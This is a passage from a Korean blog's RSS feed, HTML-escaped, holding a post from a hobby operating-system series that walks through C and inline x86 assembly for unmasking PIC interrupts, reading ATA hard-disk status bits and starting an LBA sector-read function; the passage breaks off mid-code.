data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Project/OStrial in AMAZON</category>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/71</guid>
      <comments>https://pseudo-comsci.tistory.com/71#entry71comment</comments>
      <pubDate>Sun, 8 Dec 2019 21:04:32 +0900</pubDate>
    </item>
    <item>
      <title>#n+3 하드디스크 드라이버 - 읽기</title>
      <link>https://pseudo-comsci.tistory.com/70</link>
      <description>&lt;p&gt;지난번까지 QEMU 환경으로 변환했고, 하드디스크를 구현할 차례이다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#interrupt.c&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;eax,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0&quot;&lt;/span&gt;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(&amp;amp;idtr));&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;lidt&amp;nbsp;[eax]&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0x00;&quot;&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;0xA1,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0x00;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;0x21,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;sti&quot;&lt;/span&gt;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;mov al,, 0x00&lt;/p&gt;
&lt;p&gt;out 0xA1, al&lt;/p&gt;
&lt;p&gt;- 슬레이브 PIC의 모든 인터럽트를 열어둔다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;mov al,, 0x00&lt;/p&gt;
&lt;p&gt;out 0x21, al&lt;/p&gt;
&lt;p&gt;- 마스터 PIC의 모든 인터럽트를 열어둔다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이렇게 모든 인터럽트를 해방하고 나서 하드디스크의 인터럽트(자신에게 떨어진 명령을 수행한 후 CPU에게 날리는 인터럽트)를 받을 수 있음.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#function.c - HDDstatus()~&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDstatus&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;value;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F7;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;in&amp;nbsp;al,&amp;nbsp;dx;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__volatile__&lt;/span&gt;(&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0,&amp;nbsp;al;&quot;&lt;/span&gt;&amp;nbsp;:&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;=r&quot;&lt;/span&gt;(value));&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;value;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_BSY&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDstatus&lt;/span&gt;();&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&amp;nbsp;(status&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x80&lt;/span&gt;)&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x80&lt;/span&gt;)&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_DRDY&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDstatus&lt;/span&gt;();&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;((status&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x40&lt;/span&gt;)&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x40&lt;/span&gt;)&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_DRQ&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDstatus&lt;/span&gt;();&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;((status&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x08&lt;/span&gt;)&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x08&lt;/span&gt;)&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_ERR&lt;/span&gt;()&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;status&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDstatus&lt;/span&gt;();&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;((status&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x01&lt;/span&gt;)&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x01&lt;/span&gt;)&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;else&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;}&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;- 하드디스크의 현재 상태를 읽어오는 함수 구현&lt;/p&gt;
&lt;p&gt;- HDD_BSY() : if문 : busy 상태&lt;/p&gt;
&lt;p&gt;- HDD_DRDY() : if문 : 준비 상태&lt;/p&gt;
&lt;p&gt;- HDD_DRQ() : if문 내부에서 데이터 리퀘스트. 아닐 경우 논 데이터 리퀘스트.&lt;/p&gt;
&lt;p&gt;- HDD_ERR() : if문 진입시 에러상태.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#function.c - HDDread()&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDDread&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;sector&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;*&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buffer&lt;/span&gt;)&lt;/div&gt;
&lt;div&gt;{&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_a&amp;nbsp;=&amp;nbsp;sector&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xFF&lt;/span&gt;;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_b&amp;nbsp;=&amp;nbsp;(&amp;nbsp;sector&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;8&lt;/span&gt;&amp;nbsp;)&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xFF&lt;/span&gt;;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_c&amp;nbsp;=&amp;nbsp;(&amp;nbsp;sector&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;16&lt;/span&gt;)&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xFF&lt;/span&gt;;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;char&lt;/span&gt;&amp;nbsp;LBA_d&amp;nbsp;=&amp;nbsp;(&amp;nbsp;(&amp;nbsp;sector&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;24&lt;/span&gt;)&amp;nbsp;&amp;amp;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x0F&lt;/span&gt;&amp;nbsp;)&amp;nbsp;|&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0xE0&lt;/span&gt;&amp;nbsp;;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;
&lt;div style=&quot;line-height: 19px;&quot;&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;* sector 변수를 분해. 각 포트별로 비트를 분해해서 넣기 위함&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;*&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;LBA_a&amp;nbsp;:&amp;nbsp;sector의&amp;nbsp;[7:0]&amp;nbsp;부분의&amp;nbsp;비트&amp;nbsp;추출&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;LBA_b&amp;nbsp;:&amp;nbsp;sector의&amp;nbsp;[15:8]&amp;nbsp;비트&amp;nbsp;추출&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;LBA_c&amp;nbsp;:&amp;nbsp;sector의&amp;nbsp;[23:16]&amp;nbsp;비트&amp;nbsp;추출&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&amp;nbsp;LBA_d&amp;nbsp;:&amp;nbsp;sector의&amp;nbsp;[27:24]&amp;nbsp;비트&amp;nbsp;추출&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;color: #d4d4d4; background-color: #1e1e1e; font-family: Consolas, 'Courier New', monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;HDD&amp;nbsp;INT&amp;nbsp;활성화&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,&amp;nbsp;0x3F6;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;HDD_BSY&lt;/span&gt;()&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;);&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;HDD가&amp;nbsp;busy&amp;nbsp;하다면&amp;nbsp;계속&amp;nbsp;대기&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;========== 하드디스크&amp;nbsp;Setting&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-left: 2em;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// 각 포트가 요구하는 값에 맞게 값 저장&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;//&amp;nbsp;드라이브/헤드&amp;nbsp;레지스터&amp;nbsp;초기화&amp;nbsp;+&amp;nbsp;LBA&amp;nbsp;주소&amp;nbsp;[27:24]&amp;nbsp;4비트&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #f44747;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;0;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,&amp;nbsp;0x1F6;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;::&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;r&quot;&lt;/span&gt;(LBA_d)&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;);&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm__&amp;nbsp;__volatile__&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;al,&amp;nbsp;0x01;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;mov&amp;nbsp;dx,0x1F2;&quot;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;out&amp;nbsp;dx,&amp;nbsp;al;&quot;&lt;/span&gt;&lt;/div&gt;
